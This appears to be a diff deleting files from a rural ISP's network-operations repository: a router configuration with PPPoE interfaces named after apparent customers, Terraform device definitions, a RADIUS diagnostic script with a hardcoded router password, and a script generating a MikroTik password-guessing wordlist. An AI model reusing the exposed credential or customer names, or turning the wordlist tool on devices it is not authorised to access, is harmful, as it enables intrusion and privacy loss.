||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.43",
|
||||
"interface": "<pppoe-rubenreyez>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.47",
|
||||
"interface": "<pppoe-sandrahoughton>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.48",
|
||||
"interface": "<pppoe-luisarellano>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.49",
|
||||
"interface": "<pppoe-carlaswearingen>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.53",
|
||||
"interface": "<pppoe-doreengrubb>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.122",
|
||||
"interface": "<pppoe-rosahernandez>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.38",
|
||||
"interface": "<pppoe-floydallen>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.31",
|
||||
"interface": "<pppoe-michaelhughes>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.42",
|
||||
"interface": "<pppoe-kristinamurphy>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.17",
|
||||
"interface": "<pppoe-mariacastanon>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.19",
|
||||
"interface": "<pppoe-perlachavez>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "204.110.188.145",
|
||||
"interface": "<pppoe-clayrobertson2>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.28",
|
||||
"interface": "<pppoe-khushbooagarwal2>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.45",
|
||||
"interface": "<pppoe-mariomerlo>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.33",
|
||||
"interface": "<pppoe-shannonclark>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
},
|
||||
{
|
||||
"address": "100.64.27.253/32",
|
||||
"network": "100.64.25.46",
|
||||
"interface": "<pppoe-chisediquezada>",
|
||||
"comment": "",
|
||||
"dynamic": true
|
||||
}
|
||||
],
|
||||
"interfaces": [
|
||||
{
|
||||
"name": "ether1-climax-11ghz",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E1:52",
|
||||
"comment": "",
|
||||
"mtu": 9000
|
||||
},
|
||||
{
|
||||
"name": "ether2-netonix",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether5-jeff-tv",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E1:56",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "ether6-380-11ghz",
|
||||
"type": "ether",
|
||||
"mac": "64:D1:54:D3:E1:57",
|
||||
"comment": "",
|
||||
"mtu": 9000
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-brianamartinez>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-carlaswearingen>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chisediquezada>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-chrispassonno>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-clayrobertson2>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-deannecook>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-delainawaite>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-doreengrubb>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-duanewright>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ericcoffman>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-floydallen>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jacobwilliams>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-jamesmooney>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-johnnygoble>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kailynnbarnfield>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-karengreen>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-khushbooagarwal2>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-kristinamurphy>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-ladonnaclark>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-luisarellano>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mariacastanon>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-marilynfowler>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mariomerlo>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-mauricioantonio>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-michaelhughes>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-natashaelmore>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-perlachavez>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-priscillacrenshaw>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-radiantlifeministries>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-rosahernandez>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-rubenreyez>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-russmott>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-saidaacosta>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-sandrahoughton>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-shamsbashir>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-shannonclark>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-tammylove>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-tonyasipes>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1492
|
||||
},
|
||||
{
|
||||
"name": "<pppoe-wendysanders>",
|
||||
"type": "pppoe-in",
|
||||
"mac": "N/A",
|
||||
"comment": "",
|
||||
"mtu": 1480
|
||||
},
|
||||
{
|
||||
"name": "culleoka-tower",
|
||||
"type": "bridge",
|
||||
"mac": "92:19:C8:54:82:B3",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "lo",
|
||||
"type": "loopback",
|
||||
"mac": "00:00:00:00:00:00",
|
||||
"comment": "",
|
||||
"mtu": 65536
|
||||
},
|
||||
{
|
||||
"name": "loopback",
|
||||
"type": "bridge",
|
||||
"mac": "3A:96:B4:1B:8A:0D",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "mgmt",
|
||||
"type": "bridge",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "public",
|
||||
"type": "bridge",
|
||||
"mac": "52:8D:9B:68:7F:D0",
|
||||
"comment": "",
|
||||
"mtu": "auto"
|
||||
},
|
||||
{
|
||||
"name": "vlan10_ether2",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan100_netonix8",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan101_netonix9",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan102_netonix10",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan103_netonix13",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan104_netonix14",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
},
|
||||
{
|
||||
"name": "vlan_30_clayton",
|
||||
"type": "vlan",
|
||||
"mac": "64:D1:54:D3:E1:53",
|
||||
"comment": "",
|
||||
"mtu": 1500
|
||||
}
|
||||
],
|
||||
"vlans": [
|
||||
{
|
||||
"name": "vlan10_ether2",
|
||||
"vlan_id": 10,
|
||||
"interface": "ether2-netonix"
|
||||
},
|
||||
{
|
||||
"name": "vlan100_netonix8",
|
||||
"vlan_id": 100,
|
||||
"interface": "ether2-netonix"
|
||||
},
|
||||
{
|
||||
"name": "vlan101_netonix9",
|
||||
"vlan_id": 101,
|
||||
"interface": "ether2-netonix"
|
||||
},
|
||||
{
|
||||
"name": "vlan102_netonix10",
|
||||
"vlan_id": 102,
|
||||
"interface": "ether2-netonix"
|
||||
},
|
||||
{
|
||||
"name": "vlan103_netonix13",
|
||||
"vlan_id": 103,
|
||||
"interface": "ether2-netonix"
|
||||
},
|
||||
{
|
||||
"name": "vlan104_netonix14",
|
||||
"vlan_id": 104,
|
||||
"interface": "ether2-netonix"
|
||||
},
|
||||
{
|
||||
"name": "vlan_30_clayton",
|
||||
"vlan_id": 30,
|
||||
"interface": "ether2-netonix"
|
||||
}
|
||||
],
|
||||
"pppoe_servers": [
|
||||
{
|
||||
"service_name": "culleoka",
|
||||
"interface": "ether2-netonix"
|
||||
},
|
||||
{
|
||||
"service_name": "clayton",
|
||||
"interface": "vlan_30_clayton"
|
||||
},
|
||||
{
|
||||
"service_name": "jeff-tv",
|
||||
"interface": "ether5-jeff-tv"
|
||||
},
|
||||
{
|
||||
"service_name": "service1",
|
||||
"interface": "vlan100_netonix8"
|
||||
},
|
||||
{
|
||||
"service_name": "service2",
|
||||
"interface": "vlan101_netonix9"
|
||||
},
|
||||
{
|
||||
"service_name": "service3",
|
||||
"interface": "vlan102_netonix10"
|
||||
},
|
||||
{
|
||||
"service_name": "service4",
|
||||
"interface": "vlan103_netonix13"
|
||||
},
|
||||
{
|
||||
"service_name": "service5",
|
||||
"interface": "vlan104_netonix14"
|
||||
}
|
||||
],
|
||||
"routes": []
|
||||
}
|
||||
|
|
@ -1,98 +0,0 @@
|
|||
resource "towerops_device" "culleoka_sw_ac_1" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka SW AC-1"
|
||||
ip_address = "10.10.111.1"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_sw_ac2" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka SW AC2"
|
||||
ip_address = "10.10.111.2"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_se" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka SE"
|
||||
ip_address = "10.10.111.11"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_sw_120" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka sw 120"
|
||||
ip_address = "10.10.111.12"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_north_ubnt" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka North UBNT"
|
||||
ip_address = "10.10.111.14"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_epmp_n" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "culleoka epmp N"
|
||||
ip_address = "10.10.111.30"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_epmp_se" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka ePMP SE"
|
||||
ip_address = "10.10.111.31"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_epmp_sw" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka ePMP SW"
|
||||
ip_address = "10.10.111.32"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_ne" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka NE"
|
||||
ip_address = "10.10.111.33"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_epmp_se_34" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka ePMP SE"
|
||||
ip_address = "10.10.111.34"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_epmp_nw" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Culleoka ePMP NW"
|
||||
ip_address = "10.10.111.35"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "clayton_estates_ap" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "Clayton Estates AP"
|
||||
ip_address = "10.10.111.50"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "clayton_to_culleoka" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "clayton to culleoka"
|
||||
ip_address = "10.10.111.60"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
resource "towerops_device" "culleoka_to_clayton" {
|
||||
site_id = towerops_site.culleoka.id
|
||||
name = "culleoka to clayton"
|
||||
ip_address = "10.10.111.61"
|
||||
snmp_version = "1"
|
||||
}
|
||||
|
||||
File diff suppressed because it is too large
Load diff
|
|
@ -1,83 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""Diagnose RADIUS auth failure on Verona router after RouterOS upgrade."""
|
||||
|
||||
import sys
|
||||
from mikrotik_connect import MikrotikAPI
|
||||
|
||||
|
||||
def section(title):
|
||||
print(f"\n{'=' * 70}\n=== {title}\n{'=' * 70}")
|
||||
|
||||
|
||||
def dump(results):
|
||||
if not results:
|
||||
print("(no results)")
|
||||
return
|
||||
for r in results:
|
||||
for k, v in r.items():
|
||||
print(f" {k}: {v}")
|
||||
print("---")
|
||||
|
||||
|
||||
def main():
|
||||
api = MikrotikAPI("10.254.254.101", "grahamro",
|
||||
"cFKhz8q5gPLoucMbcT1Iy58r3IXgc3")
|
||||
if not api.connect():
|
||||
sys.exit(1)
|
||||
if not api.login():
|
||||
sys.exit(1)
|
||||
|
||||
try:
|
||||
section("RouterOS version / identity")
|
||||
dump(api.command("/system/resource/print"))
|
||||
dump(api.command("/system/routerboard/print"))
|
||||
dump(api.command("/system/identity/print"))
|
||||
|
||||
section("RADIUS clients (/radius print detail)")
|
||||
dump(api.command("/radius/print"))
|
||||
|
||||
section("RADIUS incoming settings")
|
||||
dump(api.command("/radius/incoming/print"))
|
||||
|
||||
section("AAA settings for user logins (/user aaa print)")
|
||||
dump(api.command("/user/aaa/print"))
|
||||
|
||||
section("PPP AAA settings (/ppp aaa print)")
|
||||
dump(api.command("/ppp/aaa/print"))
|
||||
|
||||
section("PPP profiles (may reference radius)")
|
||||
dump(api.command("/ppp/profile/print"))
|
||||
|
||||
section("PPP secrets count")
|
||||
secrets = api.command("/ppp/secret/print", ["=count-only="])
|
||||
print(secrets)
|
||||
|
||||
section("Active PPP sessions")
|
||||
dump(api.command("/ppp/active/print"))
|
||||
|
||||
section("Hotspot servers (if any)")
|
||||
dump(api.command("/ip/hotspot/print"))
|
||||
|
||||
section("Recent log messages (last 200)")
|
||||
logs = api.command("/log/print")
|
||||
# Show only most recent 200 and filter those with radius / auth / ppp
|
||||
for entry in logs[-200:]:
|
||||
msg = entry.get("message", "")
|
||||
topics = entry.get("topics", "")
|
||||
time = entry.get("time", "")
|
||||
if any(k in (msg + topics).lower() for k in
|
||||
["radius", "auth", "ppp", "login", "fail", "reject"]):
|
||||
print(f"[{time}] {topics}: {msg}")
|
||||
|
||||
section("Certificates (RADIUS over TLS / EAP may need these)")
|
||||
dump(api.command("/certificate/print"))
|
||||
|
||||
section("IP services (enabled management services)")
|
||||
dump(api.command("/ip/service/print"))
|
||||
|
||||
finally:
|
||||
api.disconnect()
|
||||
|
||||
|
||||
if __name__ == "__main__":
|
||||
main()
|
||||
|
|
@ -1,228 +0,0 @@
|
|||
#!/usr/bin/env python3
|
||||
"""
|
||||
Generate comprehensive MikroTik password wordlist
|
||||
Creates likely passwords based on common patterns, algorithms, and variations
|
||||
"""
|
||||
|
||||
import itertools
|
||||
import string
|
||||
import binascii
|
||||
|
||||
def generate_mac_based_passwords(mac_address):
|
||||
"""Generate passwords based on MAC address using various known algorithms"""
|
||||
passwords = []
|
||||
|
||||
# Parse MAC address
|
||||
mac_parts = mac_address.upper().replace(':', '').replace('-', '')
|
||||
if len(mac_parts) != 12:
|
||||
return passwords
|
||||
|
||||
mac_bytes = [int(mac_parts[i:i+2], 16) for i in range(0, 12, 2)]
|
||||
|
||||
# Algorithm 1: Standard MikroTik (0xD0, 0xFF constants)
|
||||
pwd_bytes = [
|
||||
mac_bytes[0] ^ 0xD0,
|
||||
mac_bytes[1],
|
||||
(~mac_bytes[2]) & 0xFF,
|
||||
0xFF
|
||||
]
|
||||
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Algorithm 2: Try different constants instead of 0xD0
|
||||
for const1 in [0xD0, 0xC0, 0xE0, 0xF0, 0x80, 0x90, 0xA0, 0xB0]:
|
||||
pwd_bytes = [
|
||||
mac_bytes[0] ^ const1,
|
||||
mac_bytes[1],
|
||||
(~mac_bytes[2]) & 0xFF,
|
||||
0xFF
|
||||
]
|
||||
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Algorithm 3: Try different constants instead of 0xFF
|
||||
for const2 in [0xFF, 0xFE, 0xFD, 0xFC, 0x00, 0x01, 0x02, 0x03]:
|
||||
pwd_bytes = [
|
||||
mac_bytes[0] ^ 0xD0,
|
||||
mac_bytes[1],
|
||||
(~mac_bytes[2]) & 0xFF,
|
||||
const2
|
||||
]
|
||||
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Algorithm 4: Different MAC byte positions
|
||||
for i in range(6):
|
||||
for j in range(6):
|
||||
for k in range(6):
|
||||
if i != j and j != k and i != k:
|
||||
pwd_bytes = [
|
||||
mac_bytes[i] ^ 0xD0,
|
||||
mac_bytes[j],
|
||||
(~mac_bytes[k]) & 0xFF,
|
||||
0xFF
|
||||
]
|
||||
hex_str = ''.join(f'{b:02x}' for b in pwd_bytes)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Algorithm 5: Use MAC bytes directly (no XOR or NOT)
|
||||
for combo in itertools.permutations(mac_bytes[:4]):
|
||||
hex_str = ''.join(f'{b:02x}' for b in combo)
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# Algorithm 6: Simple MAC transformations
|
||||
# Last 4 bytes of MAC
|
||||
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[2:6])
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
# First 4 bytes of MAC
|
||||
hex_str = ''.join(f'{b:02x}' for b in mac_bytes[0:4])
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
|
||||
return passwords
|
||||
|
||||
def generate_common_patterns():
|
||||
"""Generate common password patterns"""
|
||||
passwords = []
|
||||
|
||||
# Common numeric patterns
|
||||
patterns = [
|
||||
"0000-0000", "1111-1111", "2222-2222", "3333-3333",
|
||||
"1234-5678", "8765-4321", "0123-4567", "1357-2468",
|
||||
"aaaa-aaaa", "bbbb-bbbb", "cccc-cccc", "dddd-dddd",
|
||||
"ffff-ffff", "dead-beef", "cafe-babe", "feed-face",
|
||||
"0000-0001", "0001-0000", "ffff-0000", "0000-ffff",
|
||||
]
|
||||
|
||||
# Year-based patterns (common installation years)
|
||||
for year in range(2015, 2025):
|
||||
passwords.extend([
|
||||
f"{year}-{year}",
|
||||
f"0000-{year}",
|
||||
f"{year}-0000",
|
||||
f"{year}-1234",
|
||||
f"1234-{year}",
|
||||
])
|
||||
|
||||
# Sequential numbers
|
||||
for i in range(0, 10000, 1111):
|
||||
hex_val = f"{i:04x}"
|
||||
passwords.append(f"{hex_val}-{hex_val}")
|
||||
|
||||
# Common hex patterns
|
||||
hex_patterns = [
|
||||
"abcd-efab", "1a2b-3c4d", "a1b2-c3d4",
|
||||
"0a0b-0c0d", "f0f0-f0f0", "0f0f-0f0f",
|
||||
]
|
||||
passwords.extend(hex_patterns)
|
||||
|
||||
return patterns + passwords
|
||||
|
||||
def generate_device_specific_patterns():
|
||||
"""Generate patterns specific to this device's MAC and IP"""
|
||||
passwords = []
|
||||
|
||||
# Based on MAC B8:69:F4:12:8E:F8
|
||||
mac_parts = ["b8", "69", "f4", "12", "8e", "f8"]
|
||||
|
||||
# Use parts of MAC in different combinations
|
||||
for i in range(len(mac_parts)-1):
|
||||
passwords.append(f"{mac_parts[i]}{mac_parts[i+1]}-{mac_parts[(i+2)%6]}{mac_parts[(i+3)%6]}")
|
||||
|
||||
# Based on IP 10.250.2.2
|
||||
ip_hex = f"{10:02x}{250:02x}{2:02x}{2:02x}" # 0afa0202
|
||||
passwords.extend([
|
||||
f"{ip_hex[:4]}-{ip_hex[4:]}",
|
||||
f"0afa-0202",
|
||||
f"250a-0202", # Different byte order
|
||||
f"0a02-fa02",
|
||||
])
|
||||
|
||||
# Network-specific patterns (250.2 subnet)
|
||||
passwords.extend([
|
||||
"fa02-fa02", # 250.2 in hex
|
||||
"0250-0002", # Decimal to hex
|
||||
"f802-f802", # 248.2 (common network)
|
||||
"0100-0100", # 1.1 network
|
||||
])
|
||||
|
||||
return passwords
|
||||
|
||||
def generate_incremental_patterns():
|
||||
"""Generate incremental/sequential patterns around likely values"""
|
||||
passwords = []
|
||||
|
||||
# Around the calculated MAC-based password
|
||||
base_pwd = "6869-0bff" # From the algorithm result
|
||||
base_int = int(base_pwd.replace('-', ''), 16)
|
||||
|
||||
# Try values around the calculated one
|
||||
for offset in range(-1000, 1001):
|
||||
try:
|
||||
new_val = base_int + offset
|
||||
if 0 <= new_val <= 0xFFFFFFFF:
|
||||
hex_str = f"{new_val:08x}"
|
||||
passwords.append(f"{hex_str[:4]}-{hex_str[4:]}")
|
||||
except:
|
||||
continue
|
||||
|
||||
return passwords
|
||||
|
||||
def main():
|
||||
mac_address = "B8:69:F4:12:8E:F8"
|
||||
|
||||
print("Generating comprehensive MikroTik password wordlist...")
|
||||
|
||||
all_passwords = set() # Use set to avoid duplicates
|
||||
|
||||
print("1. MAC-based algorithm variations...")
|
||||
mac_passwords = generate_mac_based_passwords(mac_address)
|
||||
all_passwords.update(mac_passwords)
|
||||
print(f" Generated {len(mac_passwords)} MAC-based passwords")
|
||||
|
||||
print("2. Common patterns...")
|
||||
common_passwords = generate_common_patterns()
|
||||
all_passwords.update(common_passwords)
|
||||
print(f" Generated {len(common_passwords)} common pattern passwords")
|
||||
|
||||
print("3. Device-specific patterns...")
|
||||
device_passwords = generate_device_specific_patterns()
|
||||
all_passwords.update(device_passwords)
|
||||
print(f" Generated {len(device_passwords)} device-specific passwords")
|
||||
|
||||
print("4. Incremental patterns...")
|
||||
incremental_passwords = generate_incremental_patterns()
|
||||
all_passwords.update(incremental_passwords)
|
||||
print(f" Generated {len(incremental_passwords)} incremental passwords")
|
||||
|
||||
# Remove any invalid passwords and convert to sorted list
|
||||
valid_passwords = []
|
||||
for pwd in all_passwords:
|
||||
if len(pwd) == 9 and pwd[4] == '-':
|
||||
try:
|
||||
# Validate it's proper hex
|
||||
int(pwd.replace('-', ''), 16)
|
||||
valid_passwords.append(pwd)
|
||||
except ValueError:
|
||||
continue
|
||||
|
||||
valid_passwords.sort()
|
||||
|
||||
# Write to file
|
||||
with open('mikrotik_wordlist.txt', 'w') as f:
|
||||
for pwd in valid_passwords:
|
||||
f.write(pwd + '\n')
|
||||
|
||||
print(f"\nTotal unique valid passwords: {len(valid_passwords)}")
